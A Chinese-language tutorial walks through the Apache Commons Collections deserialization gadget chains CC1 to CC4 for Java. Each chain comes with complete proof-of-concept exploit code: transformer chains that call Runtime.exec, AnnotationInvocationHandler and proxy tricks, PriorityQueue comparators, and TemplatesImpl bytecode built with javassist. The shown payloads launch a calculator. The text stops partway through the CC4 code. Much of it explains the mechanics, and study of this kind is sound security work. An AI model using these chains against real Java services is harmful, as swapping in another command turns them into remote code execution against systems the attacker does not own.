我在网上找到了一则利用代码,虽然这个利用代码很粗浅,并没有CC链1的触发过程,但是对于这条链的原理还是可见一斑的。
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.util.HashMap;
import java.util.Map;
public class test {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.getRuntime()),
new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
};
Transformer transformerChain = new
ChainedTransformer(transformers);
Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
outerMap.put("test", "xxxx");
}
}
TransformerMap类是造成这个漏洞的原因之一
TransformerMap是apacheCommonsCollections里提供的一个数据类型。它可以修饰一个Map类型的对象。当修饰过的Map添加新元素时,它会调用在decorate里声明好的Trasnformer类的transform方法并传入新添的键名或值名。
Map DecoratedMap = TransformedMap.decorate(Map,keyTransformer,
valueTransformer)
keyTransformer和valueTransformer分别指向不同的Transformer类。
我们看一下Transformer类
可以发现它只是一个借口,他的方法需要其他子类实现。 当TransformerMap在新添元素时就会调用decorate里设定好的Transformer类的transform方法。 它的接口实现类有以下几个。
这个类主要的两个方法就是这俩了。
public ConstantTransformer(Object constantToReturn) {
this.iConstant = constantToReturn;
}
public Object transform(Object input) {
return this.iConstant;
}
没什么好说的,就是把传入的对象原原本本返回。
也是两个重要方法
public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}
public Object transform(Object input) {
if (input == null) {
return null;
} else {
try {
Class cls = input.getClass();
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
} catch (NoSuchMethodException var5) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
} catch (IllegalAccessException var6) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
} catch (InvocationTargetException var7) {
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", var7);
}
}
}
就是传入方法名,参数类型和参数,然后通过反射来执行这个方法
也是两个重要方法
public ChainedTransformer(Transformer[] transformers) {
this.iTransformers = transformers;
}
public Object transform(Object object) {
for(int i = 0; i < this.iTransformers.length; ++i) {
object = this.iTransformers[i].transform(object);
}
return object;
}
就是把传入的多个Transfomer类的transformer方法依次执行,每个transformer方法执行后返回的对象会被当做下一次执行的时候传入的参数。
通过以上信息,我们就可以清晰的看懂上面的payload了。 先通过ConstantTransformer获得 Runtime类,再通过InvokerTransformer执行exec方法,然后通过ChainedTransformer将两个类串起来,让InvokerTransformer以ConstantTrasformer返回的Runtime类为参数执行exec方法,达到RCE的目的。
触发,我们选择的地方是sun.reflect.annotation.AnnotationInvocationHandler的readObject方法(注意8u71以下才能有触发点,之后的版本已被修复)
触发点代码。 我们可以发现,它对传入的map的每一个value执行了setValue。
可以很明显的发现会对值进行transform方法。也就是相当于触发了一次Map.put()。接下来,就是payload构造时间了。
但是 AnnotationInvocationHandler 是内部类无法直接实例化,但它的父类InvocationHandler可以,我们可以通过反射得到 AnnotationInvocationHandler 构造方法,然后对其使用newInstance再向上转型为父类 InvocationHandler 。既然要获得对象,我们就应该关注一下它的构造方法。
AnnotationInvocationHandler(Class<? extends Annotation> var1, Map<String, Object> var2) {
Class[] var3 = var1.getInterfaces();
if (var1.isAnnotation() && var3.length == 1 && var3[0] == Annotation.class) {
this.type = var1;
this.memberValues = var2;
} else {
throw new AnnotationFormatError("Attempt to create proxy for a non-annotation type.");
}
}
要传入两个参数,var2不用说了就是我们传入的Map,var1呢?是Annotation类,即所有注释类的接口。我们必须在此处传入一个注释类才能使if判断为真,才能把我们的参数中的Map传入。 但是并不是所有注释类传进去都有效,注释类(实际上就是接口)必须有定义的方法才能正常触发反序列化。关于此点我们后面再详细谈谈。
因为再readObject方法里我们会执行**Map var3 = var2.memberTypes()**,我们看看memberTypes源码。
发现是返回构造方法中定义好的memberTypes属性。而这个memberTypes属性又和上一行的var2属性有关,var2属性又与getDecalredMethods有关…因此我才猜测 “注释类必须有定义的方法才能正常触发反序列化 “,实际结果确实如此。 目前找到的能够正常触发漏洞的注释类有 Target Retention SuppressWarnings .无一例外他们作为接口都定义了方法。而且在我翻阅一些参考文档后,发现确实是这样
另外一点需要注明的是,Runtime类没有继承Serialize接口,也就是说它不能被直接序列化。 也就是说如果我们在transformer链里想直接通过有*new ConstantTransformer(Runtime.\getRuntime*())**来获取Runtime对象时,会反序列化失败。 但是Class类是有继承Serialize接口的,我们可以通过transformer链和反射来在反序列化阶段逐步创建Runtime类,继而解决这个问题
总结一下几个坑点: 1.Runtime类不能被序列化 \2. AnnotationInvocationHandler 无法直接实例化,可通过反射获得对象 3.注意在实例化 AnnotationInvocationHandler 时要传入定义好方法的注释类 OK,以上知道了后就能试着写一下payload了(这个payload依旧不能正常执行,错误出处间代码注释,具体原因看下文)。
import java.io.*;
import java.lang.annotation.*;
import java.lang.reflect.*;
import java.util.*;
import org.apache.commons.collections.*;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.TransformedMap;
public class test2 {
public static void main(String[] args){
try {
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{new String("getRuntime"),new Class[0]}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,new Object[0]}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{new String("calc.exe")}),
};
ChainedTransformer chain = new ChainedTransformer(transformers);
Map innermap = new HashMap();
innermap.put("sc","b"); //不能执行的原因在这里,如果是put("value","a")就可以正常执行
Map outmap = TransformedMap.decorate(innermap,null,chain);
Class Annotation = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationCons = Annotation.getDeclaredConstructor(Class.class,Map.class);
AnnotationCons.setAccessible(true);
InvocationHandler InvocationHandler = (InvocationHandler) AnnotationCons.newInstance(Target.class,outmap);
ObjectOutputStream a = new ObjectOutputStream(new FileOutputStream(new File("a.bin")));
a.writeObject(InvocationHandler);
a.close();
ObjectInputStream b = new ObjectInputStream(new FileInputStream("a.bin"));
b.readObject();
b.close();
}
catch (Exception e){e.printStackTrace();}
}
}
为什么不能执行,这原因与上面提到的“ 注意在实例化 AnnotationInvocationHandler 时要传入定义好方法的注释类 ”很有关联。 因为涉及JVM的一些东西,我们不会怎么去深究,就是浅浅的看一下,做出一些推测。
首先我们关注到 AnnotationInvocationHandler 的readObject。
接下来就是复杂的推理了,建议先把各方法的意义弄明白 发现必须要var7!=null才能正常触发反序列化漏洞,那么var7的来源是从(Map)var3中获得以(String)var6为键名的值。var6是var3中一项的键名。而var3的来源是(Annotation)var2的menberTypes,我们跟进这个方法。
那么var1就是AnnotationInvocationHandler的type属性了,而这个type属性在其构造方法中就定义好了,是传入的注释类。 也就是说var1就是我们在实例 AnnotationInvocationHandler 时传入的注释类。 结合以上流程,我们就可以知道这个过程是: 从 实例 AnnotationInvocationHandler 时传入的注释类 中获取最后一个方法,然后把它编入为一个HashMap(以下称为注释方法Map)的一个键名并给予值。在readObject时会遍历传入的Map,如果在传入的Map中找到了一项的键名在注释方法Map中存在(即 在传入的Map中找到了一项的键名与实例化时传入的注释类的最后一个方法同名),则if条件为真,攻击成功。 所以上面为什么put(“value”,任意)才能达成攻击的原因是, Target Retention SuppressWarnings 这三个注释类都有且只有一个方法名为value的方法。
分析完了。这个洞利用版本只能在8u71以前,比较古老无用。
AnnotationInvocationHandler.readObject 会调用传入的map中每一个value的transformer方法,我们可以通过ConstantTrasformer和InvokerTransformer组合为一个ChainedTransformer来逐步还原Runtime类并调用其exec方法实现命令执行。
ConstantTransformer.transformer是返回传入的类,InvokerTransformer.transformer是通过反射对传入的方法名参数名等进行调用,ChainedTransformer.transformer是将传入的transformer方法按顺序执行,并将上一个方法执行结果做参数传递给下一个方法。
LazyMap的获得方法和TransfromerMap差不多。
Map innerMap = new HashMap();
Map outerMap = LazyMap.decorate(innerMap, transformerChain);
public Object get(Object key) {
if (!super.map.containsKey(key)) {
Object value = this.factory.transform(key);
super.map.put(key, value);
return value;
} else {
return super.map.get(key);
}
在对LazyMap使用get方法时,它会执行this.factory.transform(key),而this.factory.transform如果去跟进分析的话,实质上就是调用我们在decorate传进去的Transformer类。
LazyMap的触发点也在 AnnotationInvocationHandler 中,但不是在readObject方法,而是在invoke方法。invoke方法中有一行
Object var6 = this.memberValues.get(var4);
其中this.memberVales是在构造方法中定义为传入的Map。
那么invoke方法要怎么才能触发呢?答案是动态代理。 熟悉动态代理的朋友肯定直到,invoke方法是动态代理中的一个特殊的方法,在代理类中无论执行什么方法,实质上都是在执行invoke方法。
那么接下来就是骚思路了: 我们通过反射和向上转型得到一个 AnnotationInvocationHandler(Class var1, Map var2) 对象。 构建一个Map的代理类,其第三个参数是刚刚得到的 AnnotationInvocationHandler 对象,再故技重施将其通过向上转型得到一个 AnnotationInvocationHandler 对象。当该对象反序列化执行readObjct方法时,会执行以下entryset方法
本质上来说,是对一个代理类执行了一下entrySet方法,即执行了代理类的invoke方法,又因为代理类的第三个参数填入的是 AnnotationInvocationHandler 对象,其内部已经写好了invoke方法,所以此处执行的代理类的invoke方法即 AnnotationInvocationHandler 对象的invoke方法,继而触发了get方法,继而触发了漏洞。这是一个很妙的地方
多说无益,整paylaod吧
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.annotation.Retention;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class test2 {
public static void main(String[] args) throws Exception {
org.apache.commons.collections.Transformer[] transformers = new org.apache.commons.collections.Transformer[]{
// 包装对象
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{
"getRuntime",
null,
}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{
null,
null,
}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{
"calc"
}),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
Map innermap = new HashMap();
Map outermap = LazyMap.decorate(innermap, chainedTransformer);
Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor cons = clazz.getDeclaredConstructor(Class.class,Map.class);
cons.setAccessible(true);
//妙处
InvocationHandler handler = (InvocationHandler) cons.newInstance(Override.class,outermap);//获得一个AnnotationInvocationHandler对象
Map Prox = (Map) Proxy.newProxyInstance(outermap.getClass().getClassLoader(), outermap.getClass().getInterfaces(),handler);//创建一个Map的代理类,其代理方法为AnnotationInvocationHandler对象里的invoke方法
InvocationHandler handler1 = (InvocationHandler) cons.newInstance(Override.class,Prox); //将代理Map传入,当代理Map被执行任一方法时,执行invoke方法
//
ObjectOutputStream a = new ObjectOutputStream(new FileOutputStream("a.bin"));
a.writeObject(handler1);
ObjectInputStream b = new ObjectInputStream(new FileInputStream("a.bin"));
b.readObject();
}
}
目的就是为了执行AnnotationInvocationHandler 的invoke方法,我们通过实例化一个AnnotationInvocationHandler(A1) 类并在实例化时的参数中加入传入了LazyMap的AnnotationInvocationHandler(AP) 类的动态代理,在A1构造方法中会有一个AP.entryset的代码,从而触发的AP.invoke。
cc链2 主要是PriorityQueue和commons-collections-4.0 组件 造成的Gadget。
PriorityQueue 是一个用于大小排序的类,它会将传入的数值进行大小排序。
CommonsCollections 4.0 需要有 javasist 依赖 JDK版本暂无限制
pom.xml
<dependency>
<groupId>org.apache.commons</groupId>
<artifactId>commons-collections4</artifactId>
<version>4.0</version>
</dependency>
PriorityQueue +ChianedTransfomer+反射修改属性
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator();
TransformingComparator.compare()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
POC
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;
public class Main {
public static void main(String[] args) throws ClassNotFoundException, NoSuchFieldException, IllegalAccessException {
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[] {
String.class, Class[].class }, new Object[] {
"getRuntime", new Class[0] }),
new InvokerTransformer("invoke", new Class[] {
Object.class, Object[].class }, new Object[] {
null, new Object[0] }),
new InvokerTransformer("exec",
new Class[] { String.class }, new Object[]{"calc.exe"})});
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
}
直接跟着POC调试
我们根据利用链跟进到PriorityQueue.readObject
这里先循环调用readObject将反序列化结果放入queue数组,然后可以发现这里最后调用了一个heapify()方法,我们跟进。
这里的意思对我们来说便是,如果size大于1便调用siftDown方法处理queue数组。跟进siftDown
会发现此处会判断comparator是否存在,若存在则调用siftDownUsingComparator。链中是需要跟进siftDownUsingComparator方法。
siftDownUsingComparator里有个comparator.compare(x, (E) c),其中这个x是我们可控的,就是我们往queue中put的值。跟进compare方法
可以发现是调用了当前transformer指定的类的transform方法,而当前transform按照POC中来看便是ChainedTransformer chain,于是此处便会调用ChainedTransformer的transform方法,我们在ChainedTransformer中写入的命令就会被执行了。
这便是这个链的大体状况,但是这个POC中仍然有一些细节需要推敲。
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
这里向queue中add了两个元素,这里add了两个元素的意义是这样的:
在heapify会判断queue中的值是否大于1,只有大于1才会执行siftDown方法。
TransformingComparator comparator = new TransformingComparator(chain);
PriorityQueue queue = new PriorityQueue(1);
queue.add(1);
queue.add(2);
Field field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
field.setAccessible(true);
field.set(queue,comparator);
我们可以发现在POC此处在实例化PriorityQueue时并没有传入comparotor,而是在后面使用反射给comparator变量赋值。我们跟进queue.add便可一览究竟
add在实际上是调用了offer方法,跟进offer方法
可以发现这个offer方法也调用了siftUp这个方法
跟进后自然是来到此处,如果comparator存在它便会走上面的分支,调用transformer方法,走下面便是进行赋值操作。
假如此时comparator存在走了上面的分支,
便会在此行产生报错,这里的逻辑是将queue数组中的两个值进行transform处理然后进行大小比较以排序,但是这里两个transform方法返回的结果均为ProccessImpl对象,不能被compare方法调用进行大小比较,所以会产生报错。导致我们后面的序列化操作不能顺利执行,无法产生payload。
链2用到了PriorityQueue +TemplatesImpl +InvokerTransformer和javassist技术。 javassist 可以用来动态修改java字节码,相关细节这里就不细说了,我的博客和网上均有大量文章。
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
InvokerTransformer.transform()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
EvilClass.newInstance()
关于TemplatesImpl ,它也是7u21链中不可或缺的一个环节,它配合javassist起到任意类生成的作用,在该条链中可以再配合invokerTransformer来达到命令执行的目的。
POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.InvokerTransformer;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception{
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
PriorityQueue queue = new PriorityQueue(1);
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc2.bin"));
outputStream.writeObject(queue);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc2.bin"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
我们先来看一看TemplatesImpl 是如何进行类生成的。
首先TemplatesImpl类中有个方法defineTransletClasses,它的主要代码如下
private byte[][] _bytecodes = (byte[][])null;
private void defineTransletClasses() throws TransformerConfigurationException {
if (this._bytecodes == null) {
.....
} else {
TemplatesImpl.TransletClassLoader loader = (TemplatesImpl.TransletClassLoader)AccessController.doPrivileged(new PrivilegedAction() {
public Object run() {
return new TemplatesImpl.TransletClassLoader(ObjectFactory.findClassLoader());
}
});
try {
int classCount = this._bytecodes.length;
this._class = new Class[classCount];
for(int i = 0; i < classCount; ++i) {
this._class[i] = loader.defineClass(this._bytecodes[i]); \\将_bytecodes中的所有字节通过defineClass转化为一个类
Class superClass = this._class[i].getSuperclass();
if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
this._transletIndex = i;
} else {
this._auxClasses.put(this._class[i].getName(), this._class[i]);
}
}
}
也就是说通过这个方法可以将_bytecodes数组中的字节还原成一个类,存储到_class变量中。接下来如果我们能找到调用defineTransletClasses方法并执行了_class[].newinstance() 这样的的代码的方法,就能实例化从字节得到的类了,从而就能执行类中的静态代码块和构造函数了! 所以接下来我们需要去寻找这种方法。 通过搜索defineTransletClasses,我们找到了有如下三个方法调用了defineTransletClasses方法:
getTransletInstancegetTransletIndexgetTransletClasses
其中,getTransletInstance方法是唯一符合“调用了defineTransletClasses且有_class[].newinstance()”的方法,其代码如下
private Translet getTransletInstance() throws TransformerConfigurationException {
ErrorMsg err;
try {
if (this._name == null) {
return null;
} else {
if (this._class == null) {
this.defineTransletClasses();
}
AbstractTranslet translet = (AbstractTranslet)this._class[this._transletIndex].newInstance(); \\here,注意此处生成的类对象应该是AbstractTranslet或其子类
translet.postInitialization();
translet.setTemplates(this);
translet.setServicesMechnism(this._useServicesMechanism);
if (this._auxClasses != null) {
translet.setAuxiliaryClasses(this._auxClasses);
}
return translet;
}
那么,getTransletInstance是一个private方法,我们不能直接调用它,在那里能去调用它呢?答案是newTransformer方法
public synchronized Transformer newTransformer() throws TransformerConfigurationException {
TransformerImpl transformer = new TransformerImpl(this.getTransletInstance(), this._outputProperties, this._indentNumber, this._tfactory); \\here
········
}
也就是说我们可以通过javassist动态控制_bytecodes属性的值,然后通过InvokerTransfomer调用TemplatesImpl.newTransfomer来把我们通过javassist得到的字节码实例化,在实例化的时候调用其构造函数。
Constructor constructor = Class.forName("org.apache.commons.collections4.functors.InvokerTransformer").getDeclaredConstructor(String.class);
constructor.setAccessible(true);
InvokerTransformer transformer = (InvokerTransformer) constructor.newInstance("newTransformer");
TransformingComparator Tcomparator = new TransformingComparator(transformer);
这里是先获取InvokerTransformer的构造方法,然后向构造方法传入newTransformer来实例化一个InvokerTransformer方法。
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
//cc.writeFile();
cc.setSuperclass(pool.get(AbstractTranslet.class.getName()));
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "blckder02");
setFieldValue(templates, "_class", null);
这里是通过javassist动态实现了一个构造函数为执行计算器的类,将其转化为字节码保存,然后在实例化TemplatesImpl时传入其_bytecodes变量,这里还必须为_name赋值,_class我测试的时候也不用赋值,但是加上最好?我没有细跟。
Object[] queue_array = new Object[]{templates,1};
Field queue_field = Class.forName("java.util.PriorityQueue").getDeclaredField("queue");
queue_field.setAccessible(true);
queue_field.set(queue,queue_array);
Field size = Class.forName("java.util.PriorityQueue").getDeclaredField("size");
size.setAccessible(true);
size.set(queue,2);
Field comparator_field = Class.forName("java.util.PriorityQueue").getDeclaredField("comparator");
comparator_field.setAccessible(true);
comparator_field.set(queue,Tcomparator);
然后通过反射向queue数组赋值,一个值为刚刚生成的TemplatesImpl对象,另一个值随意,总之这里得传入2个以上的值。 然后通过反射向size赋值,再然后通过反射向comparator赋值。 赋值完成后进行序列化操作。
CC3链大致上是CC1和CC2的缝合,中间一些细节有点不同(TrAXFilter,InstantiateTransformer)
LazyMap+TrAXFilter+InstantiateTransformer+TemplatesImpl
commons-collections-3.1-3.2.1,JDK1.7
ObjectInputStream.readObject()
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import javax.xml.transform.Templates;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class Main {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"open /System/Applications/Calculator.app\");";
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
byte[] classBytes = cc.toBytecode();
byte[][] targetByteCodes = new byte[][]{classBytes};
TemplatesImpl templates = TemplatesImpl.class.newInstance();
setFieldValue(templates, "_bytecodes", targetByteCodes);
setFieldValue(templates, "_name", "name");
setFieldValue(templates, "_class", null);
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
HashMap innermap = new HashMap();
LazyMap map = (LazyMap)LazyMap.decorate(innermap,chain);
Constructor handler_constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class, Map.class);
handler_constructor.setAccessible(true);
InvocationHandler map_handler = (InvocationHandler) handler_constructor.newInstance(Override.class,map);
Map proxy_map = (Map) Proxy.newProxyInstance(ClassLoader.getSystemClassLoader(),new Class[]{Map.class},map_handler);
Constructor AnnotationInvocationHandler_Constructor = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler").getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandler_Constructor.setAccessible(true);
InvocationHandler handler = (InvocationHandler)AnnotationInvocationHandler_Constructor.newInstance(Override.class,proxy_map);
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("./cc3"));
outputStream.writeObject(handler);
outputStream.close();
ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("./cc3"));
inputStream.readObject();
}catch(Exception e){
e.printStackTrace();
}
}
public static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
final Field field = getField(obj.getClass(), fieldName);
field.set(obj, value);
}
public static Field getField(final Class<?> clazz, final String fieldName) {
Field field = null;
try {
field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
}
catch (NoSuchFieldException ex) {
if (clazz.getSuperclass() != null)
field = getField(clazz.getSuperclass(), fieldName);
}
return field;
}
}
可以发现是ChianedTransformer+TemplatesImpl+LazyMap 缝合,不过ChianedTransformer内部有点和CC链1、2不同.
ChainedTransformer chain = new ChainedTransformer(new Transformer[] {
new ConstantTransformer(TrAXFilter.class),
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
});
我们可以发现是通过InstantiateTransformer 替代了InvokerTransformer,并且用到了TrAXFilter.class 这个类。
我们来分析一下这两个贵物。
十分明显,TrAXFilter的构造方法对传入的Templates对象进行了实例化处理,而TemplatesImpl是Templates的子类,于是乎我们可以传入一个TemplatesImpl对象,使该对象的newTransformer方法被调用,以此促成TemplatesImpl对象中_bytecodes中的字节码被实例化成一个恶意对象,并调用这个恶意对象的构造方法。
可以发现transformer方法中会获取传入对象的构造方法,并传入参数调用其构造方法。 我们这个地方传入TrAXFilter对象,并传入恶意的TemplatesImpl对象便可以在TrAXFilter调用构造方法时调用TemplatesImpl.newInstance 把恶意对象从字节码生成出来并调用恶意对象的构造方法。
CC2,3的缝合,细节上有些许差别.
PriorityQueue+TrAXFilter+InstantiateTransformer+TemplatesImpl
CommonsCollections 4.0,JDK暂无限制,需javassist依赖
ObjectInputStream.readObject()
PriorityQueue.readObject()
PriorityQueue.heapify()
PriorityQueue.siftDown()
PriorityQueue.siftDownUsingComparator()
TransformingComparator.compare()
ChainedTransformer.transform()
ConstantTransformer.transform()
InstantiateTransformer.transform()
newInstance()
TrAXFilter#TrAXFilter()
TemplatesImpl.newTransformer()
TemplatesImpl.getTransletInstance()
TemplatesImpl.defineTransletClasses
newInstance()
Runtime.exec()
POC
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import javassist.*;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class Main {
public static void main(String[] args) throws Exception {
ClassPool pool = ClassPool.getDefault();
pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
CtClass cc = pool.makeClass("Cat");
String cmd = "java.lang.Runtime.getRuntime().exec(\"calc.exe\");";
// 创建 static 代码块,并插入代码
cc.makeClassInitializer().insertBefore(cmd);
String randomClassName = "EvilCat" + System.nanoTime();
cc.setName(randomClassName);
cc.setSuperclass(pool.get(AbstractTranslet.class.getName())); //设置父类为AbstractTranslet,避免报错
